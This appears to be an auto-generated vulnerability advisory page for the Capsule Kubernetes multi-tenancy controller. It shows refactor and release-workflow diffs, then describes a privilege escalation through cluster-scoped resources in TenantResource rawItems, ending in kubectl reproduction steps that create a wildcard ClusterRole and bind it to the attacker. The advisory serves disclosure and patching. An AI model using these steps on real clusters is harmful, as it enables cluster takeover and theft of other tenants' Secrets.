     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     func NamespaceIsOwned(
    
  • pkg/tenant/owner_reference.go+0 0 renamed
  • pkg/tenant/owner_reference_test.go+2 2 renamed
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package tenant_test
    @@ -9,7 +9,7 @@ import (
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	tenant "github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	tenant "github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     func TestIsTenantOwnerReference(t *testing.T) {
    
  • pkg/tenant/owners.go+83 0 added
    @@ -0,0 +1,83 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package tenant
    +
    +import (
    +	"context"
    +	"fmt"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	"k8s.io/apiserver/pkg/authentication/serviceaccount"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +)
    +
    +func CollectOwners(
    +	ctx context.Context,
    +	c client.Client,
    +	tnt *capsulev1beta2.Tenant,
    +	cfg configuration.Configuration,
    +) (api.OwnerStatusListSpec, error) {
    +	owners := tnt.Spec.Owners.ToStatusOwners()
    +
    +	// Promoted ServiceAccounts
    +	if cfg.AllowServiceAccountPromotion() && len(tnt.Status.Namespaces) > 0 {
    +		saList := &corev1.ServiceAccountList{}
    +		if err := c.List(ctx, saList,
    +			client.MatchingLabels{
    +				meta.OwnerPromotionLabel: meta.OwnerPromotionLabelTrigger,
    +			},
    +		); err != nil {
    +			return nil, err
    +		}
    +
    +		for _, sa := range saList.Items {
    +			for _, ns := range tnt.Status.Namespaces {
    +				if sa.GetNamespace() != ns {
    +					continue
    +				}
    +
    +				owners.Upsert(api.CoreOwnerSpec{
    +					UserSpec: api.UserSpec{
    +						Kind: api.ServiceAccountOwner,
    +						Name: serviceaccount.ServiceAccountUsernamePrefix + sa.Namespace + ":" + sa.Name,
    +					},
    +					ClusterRoles: cfg.RBAC().PromotionClusterRoles,
    +				})
    +			}
    +		}
    +	}
    +
    +	// Administrators
    +	for _, a := range cfg.Administrators() {
    +		owners.Upsert(api.CoreOwnerSpec{
    +			UserSpec:     a,
    +			ClusterRoles: cfg.RBAC().AdministrationClusterRoles,
    +		})
    +	}
    +
    +	// Dedicated Owner Objects
    +	listed, err := tnt.Spec.Permissions.ListMatchingOwners(ctx, c, tnt.GetName())
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	for _, o := range listed {
    +		owners.Upsert(o.Spec.CoreOwnerSpec)
    +	}
    +
    +	return owners, nil
    +}
    +
    +func GetOwnersWithKinds(tenant *capsulev1beta2.Tenant) (owners []string) {
    +	for _, owner := range tenant.Status.Owners {
    +		owners = append(owners, fmt.Sprintf("%s:%s", owner.Kind.String(), owner.Name))
    +	}
    +
    +	return owners
    +}
    
  • pkg/tenant/owners_test.go+99 0 added
    @@ -0,0 +1,99 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package tenant_test
    +
    +import (
    +	"reflect"
    +	"testing"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +)
    +
    +func TestGetOwnersWithKinds_EmptyOwners(t *testing.T) {
    +	tnt := &capsulev1beta2.Tenant{}
    +
    +	owners := tenant.GetOwnersWithKinds(tnt)
    +
    +	if owners != nil {
    +		t.Fatalf("expected empty slice, got nil")
    +	}
    +}
    +
    +func TestGetOwnersWithKinds_SingleOwner(t *testing.T) {
    +
    +	tnt := &capsulev1beta2.Tenant{
    +		Status: capsulev1beta2.TenantStatus{
    +			Owners: []api.CoreOwnerSpec{
    +				{
    +					UserSpec: api.UserSpec{
    +						Kind: api.UserOwner,
    +						Name: "alice",
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	owners := tenant.GetOwnersWithKinds(tnt)
    +
    +	want := []string{"User:alice"}
    +	if !reflect.DeepEqual(owners, want) {
    +		t.Fatalf("unexpected owners:\nwant=%v\ngot =%v", want, owners)
    +	}
    +}
    +
    +func TestGetOwnersWithKinds_MultipleOwners_PreservesOrder(t *testing.T) {
    +	tnt := &capsulev1beta2.Tenant{
    +		Status: capsulev1beta2.TenantStatus{
    +			Owners: []api.CoreOwnerSpec{
    +				{
    +					UserSpec: api.UserSpec{
    +						Kind: api.GroupOwner,
    +						Name: "admins",
    +					},
    +				},
    +				{
    +					UserSpec: api.UserSpec{
    +						Kind: api.UserOwner,
    +						Name: "bob",
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	owners := tenant.GetOwnersWithKinds(tnt)
    +
    +	want := []string{
    +		"Group:admins",
    +		"User:bob",
    +	}
    +	if !reflect.DeepEqual(owners, want) {
    +		t.Fatalf("unexpected owners:\nwant=%v\ngot =%v", want, owners)
    +	}
    +}
    +
    +func TestGetOwnersWithKinds_EmptyNameStillIncluded(t *testing.T) {
    +	tnt := &capsulev1beta2.Tenant{
    +		Status: capsulev1beta2.TenantStatus{
    +			Owners: []api.CoreOwnerSpec{
    +				{
    +					UserSpec: api.UserSpec{
    +						Kind: api.UserOwner,
    +						Name: "",
    +					},
    +				},
    +			},
    +		},
    +	}
    +
    +	owners := tenant.GetOwnersWithKinds(tnt)
    +
    +	want := []string{"User:"}
    +	if !reflect.DeepEqual(owners, want) {
    +		t.Fatalf("unexpected owners:\nwant=%v\ngot =%v", want, owners)
    +	}
    +}
    
  • pkg/tenant/rules.go+78 0 added
    @@ -0,0 +1,78 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package tenant
    +
    +import (
    +	"fmt"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +	"k8s.io/apimachinery/pkg/labels"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +// BuildNamespaceRuleBodyForNamespace returns the aggregated rule body that applies to `ns`.
    +// - Rules with nil NamespaceSelector match all namespaces.
    +// - Matching rules are combined in the order they appear in tnt.Spec.Rules (important for "later wins" semantics).
    +func BuildNamespaceRuleBodyForNamespace(
    +	ns *corev1.Namespace,
    +	tnt *capsulev1beta2.Tenant,
    +) (*capsulev1beta2.NamespaceRuleBody, error) {
    +	out := &capsulev1beta2.NamespaceRuleBody{
    +		Enforce: capsulev1beta2.NamespaceRuleEnforceBody{
    +			Registries: make([]api.OCIRegistry, 0),
    +		},
    +	}
    +
    +	if tnt == nil || ns == nil {
    +		return out, nil
    +	}
    +
    +	// Treat nil labels map as empty.
    +	var nsLabels labels.Set
    +	if ns.Labels != nil {
    +		nsLabels = labels.Set(ns.Labels)
    +	} else {
    +		nsLabels = labels.Set{}
    +	}
    +
    +	for i, rule := range tnt.Spec.Rules {
    +		if rule == nil {
    +			continue
    +		}
    +
    +		matches, err := namespaceRuleMatches(nsLabels, rule.NamespaceSelector)
    +		if err != nil {
    +			return nil, fmt.Errorf("invalid namespaceSelector in rules[%d]: %w", i, err)
    +		}
    +
    +		if !matches {
    +			continue
    +		}
    +
    +		// Merge enforce body (for now: only registries)
    +		// Preserve order: append in the order rules are declared.
    +		if len(rule.Enforce.Registries) > 0 {
    +			out.Enforce.Registries = append(out.Enforce.Registries, rule.Enforce.Registries...)
    +		}
    +	}
    +
    +	return out, nil
    +}
    +
    +func namespaceRuleMatches(nsLabels labels.Set, sel *metav1.LabelSelector) (bool, error) {
    +	// nil selector => match all
    +	if sel == nil {
    +		return true, nil
    +	}
    +
    +	s, err := metav1.LabelSelectorAsSelector(sel)
    +	if err != nil {
    +		return false, err
    +	}
    +
    +	return s.Matches(nsLabels), nil
    +}
    
  • pkg/tenant/template.go+25 0 added
    @@ -0,0 +1,25 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package tenant
    +
    +import (
    +	corev1 "k8s.io/api/core/v1"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +)
    +
    +// TemplateForTenantAndNamespace applies templatingto the provided string.
    +func ContextForTenantAndNamespace(tnt *capsulev1beta2.Tenant, ns *corev1.Namespace) map[string]string {
    +	values := map[string]string{}
    +
    +	if tnt != nil {
    +		values["tenant.name"] = tnt.Name
    +	}
    +
    +	if ns != nil {
    +		values["namespace"] = ns.Name
    +	}
    +
    +	return values
    +}
    
  • pkg/tenant/template_test.go+90 0 added
    @@ -0,0 +1,90 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package tenant_test
    +
    +import (
    +	"testing"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +)
    +
    +func TestContextForTenantAndNamespace_BothNil(t *testing.T) {
    +	ctx := tenant.ContextForTenantAndNamespace(nil, nil)
    +
    +	if ctx == nil {
    +		t.Fatalf("expected non-nil map")
    +	}
    +	if len(ctx) != 0 {
    +		t.Fatalf("expected empty map, got %v", ctx)
    +	}
    +}
    +
    +func TestContextForTenantAndNamespace_OnlyTenant(t *testing.T) {
    +	tnt := &capsulev1beta2.Tenant{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: "wind",
    +		},
    +	}
    +
    +	ctx := tenant.ContextForTenantAndNamespace(tnt, nil)
    +
    +	if got := ctx["tenant.name"]; got != "wind" {
    +		t.Fatalf("expected tenant.name=wind, got %q", got)
    +	}
    +	if _, ok := ctx["namespace"]; ok {
    +		t.Fatalf("did not expect namespace key to be set")
    +	}
    +	if len(ctx) != 1 {
    +		t.Fatalf("expected map size 1, got %d (%v)", len(ctx), ctx)
    +	}
    +}
    +
    +func TestContextForTenantAndNamespace_OnlyNamespace(t *testing.T) {
    +	ns := &corev1.Namespace{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: "wind-prod",
    +		},
    +	}
    +
    +	ctx := tenant.ContextForTenantAndNamespace(nil, ns)
    +
    +	if got := ctx["namespace"]; got != "wind-prod" {
    +		t.Fatalf("expected namespace=wind-prod, got %q", got)
    +	}
    +	if _, ok := ctx["tenant.name"]; ok {
    +		t.Fatalf("did not expect tenant.name key to be set")
    +	}
    +	if len(ctx) != 1 {
    +		t.Fatalf("expected map size 1, got %d (%v)", len(ctx), ctx)
    +	}
    +}
    +
    +func TestContextForTenantAndNamespace_BothSet(t *testing.T) {
    +	tnt := &capsulev1beta2.Tenant{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: "wind",
    +		},
    +	}
    +	ns := &corev1.Namespace{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: "wind-prod",
    +		},
    +	}
    +
    +	ctx := tenant.ContextForTenantAndNamespace(tnt, ns)
    +
    +	if got := ctx["tenant.name"]; got != "wind" {
    +		t.Fatalf("expected tenant.name=wind, got %q", got)
    +	}
    +	if got := ctx["namespace"]; got != "wind-prod" {
    +		t.Fatalf("expected namespace=wind-prod, got %q", got)
    +	}
    +	if len(ctx) != 2 {
    +		t.Fatalf("expected map size 2, got %d (%v)", len(ctx), ctx)
    +	}
    +}
    
  • pkg/tenant/types.go+0 0 renamed
  • pkg/users/is_admin_user.go+0 0 renamed
  • pkg/users/is_capsule_user.go+1 1 renamed
    @@ -14,7 +14,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     func IsCapsuleUser(
    
  • pkg/users/is_tenant_owner.go+1 1 renamed
    @@ -14,7 +14,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     func IsTenantOwner(
    
  • pkg/users/serviceaccounts.go+1 1 renamed
    @@ -14,7 +14,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
     )
     
     // This function resolves the tenant based on the serviceaccount given via username
    
  • pkg/users/user_group.go+0 0 renamed
  • pkg/users/user_group_test.go+1 1 renamed
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package users
    
  • pkg/utils/errors_test.go+0 0 added
  • pkg/utils/hashes_test.go+1 1 modified
  • pkg/utils/maps_test.go+1 1 modified
  • pkg/utils/namespace_selector_test.go+175 0 added
  • pkg/utils/node_selector_test.go+118 0 added
  • pkg/utils/tenant/owners.go+0 18 removed
c6e109ca46ed

fix: release workflows (#1919)

https://github.com/projectcapsule/capsuleOliver BählerMay 28, 2026Fixed in 0.13.0via release-tag
4 files changed · +10 3
  • .github/workflows/docker-publish.yml+2 1 modified
    @@ -60,7 +60,8 @@ jobs:
           id-token: write   # To sign the provenance.
           packages: write   # To upload assets to release.
           actions: read     # To read the workflow path.
    -    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@f7dd8c54c2067bafc12ca7a55595d5ee9b75204a # v2.1.0
    +    # NOTE: The container generator workflow is not officially released as GA.
    +    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.1.0
         with:
           image: ghcr.io/${{ github.repository_owner }}/capsule
           digest: "${{ needs.publish-images.outputs.capsule-digest }}"
    
  • .github/workflows/helm-publish.yml+2 1 modified
    @@ -73,7 +73,8 @@ jobs:
           id-token: write   # To sign the provenance.
           packages: write   # To upload assets to release.
           actions: read     # To read the workflow path.
    -    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@f7dd8c54c2067bafc12ca7a55595d5ee9b75204a # v2.1.0
    +    # NOTE: The container generator workflow is not officially released as GA.
    +    uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3.yml@v2.1.0
         with:
           image: ghcr.io/${{ github.repository_owner }}/charts/capsule
           digest: "${{ needs.publish-helm-oci.outputs.chart-digest }}"
    
  • .github/workflows/releaser.yml+1 1 modified
    @@ -32,7 +32,7 @@ jobs:
           - uses: creekorful/goreportcard-action@1f35ced8cdac2cba28c9a2f2288a16aacfd507f9 # v1.0
           - uses: anchore/sbom-action/download-syft@f0d33c151c04af6fcbf4363834e838fcc7c87783
           - name: Install Cosign
    -        uses: sigstore/cosign-installer@cad07c2e89fa2edd6e2d7bab4c1aa38e53f76003 # v4.1.1
    +        uses: sigstore/cosign-installer@fb28c2b6339dcd94da6e4cbcbc5e888961f6f8c3 # DO NOT UPDATE v3.9.0
           - name: Run GoReleaser
             uses: goreleaser/goreleaser-action@e24998b8b67b290c2fa8b7c14fcfa7de2c5c9b8c # v7.1.0
             with:
    
  • renovate.json+5 0 modified
    @@ -22,6 +22,11 @@
           "matchManagers": ["github-actions", "flux"],
           "groupName": "all-ci-updates",
           "updateTypes": ["major", "minor", "patch"]
    +    },
    +    {
    +      "matchManagers": ["github-actions"],
    +      "matchPackageNames": ["sigstore/cosign-installer"],
    +      "enabled": false
         }
       ],
       "customManagers": [
    

Vulnerability mechanics

Root cause

"Missing resource scope validation in TenantResource RawItems processing allows tenant administrators to create cluster-scoped resources (e.g., ClusterRole, ValidatingWebhookConfiguration) that the Kubernetes API ignores the namespace field for, and the Capsule Controller's cluster-admin privileges execute the creation."

Attack vector

A tenant owner (e.g., bob) who has TenantResource creation permission crafts a TenantResource YAML containing a cluster-scoped resource such as a ClusterRole or ValidatingWebhookConfiguration in the rawItems field [ref_id=1]. The Capsule Controller, running with cluster-admin privileges (bound via the capsule-manager-rolebinding ClusterRoleBinding), decodes the raw item and calls obj.SetNamespace(ns.Name), but this call is ineffective because the Kubernetes API ignores the namespace field for cluster-scoped resources [ref_id=1]. The controller then creates the resource with its elevated privileges, bypassing the tenant's lack of direct permissions for cluster-scoped resources. The attacker can subsequently bind the created ClusterRole to themselves or use a malicious ValidatingWebhook to intercept Secrets across all tenants [ref_id=1].

Affected code

The vulnerability is in internal/controllers/resources/processor.go, function HandleSection(), lines 247-285 [ref_id=1]. The code decodes rawItems via codecFactory.UniversalDeserializer().Decode() without checking whether the resulting resource is cluster-scoped, then calls obj.SetNamespace(ns.Name) which is ignored by the Kubernetes API for cluster-scoped resources, and finally creates the resource via r.createOrUpdate() with cluster-admin privileges [ref_id=1].

What the fix does

The advisory does not include a patch diff, but the recommended fix is to add resource scope validation in the HandleSection() function of internal/controllers/resources/processor.go to reject any rawItem whose decoded resource kind is cluster-scoped (e.g., ClusterRole, ValidatingWebhookConfiguration) [ref_id=1]. The advisory references release v0.13.0 as containing the fix [ref_id=1]. Without such validation, the controller's cluster-admin privileges allow any tenant with TenantResource create permission to escalate privileges cluster-wide.

Preconditions

  • configCapsule Controller must be running with cluster-admin privileges (default configuration via capsule-manager-rolebinding)
  • authAttacker must have TenantResource creation permission within a Capsule tenant
  • inputAttacker must be able to apply TenantResource YAML to a namespace within their tenant

Reproduction

1. As tenant owner bob, verify permissions: `kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1` (should return "yes") and `kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev` (should return "no"). 2. Create a TenantResource YAML (e.g., attack-clusterrole.yaml) containing a ClusterRole with wildcard rules in rawItems. 3. Apply as bob: `kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev`. 4. Verify the ClusterRole was created: `kubectl get clusterrole malicious-clusterrole`. 5. Optionally create a ClusterRoleBinding to bind the malicious ClusterRole to bob for full cluster admin access [ref_id=1].

Generated on May 28, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.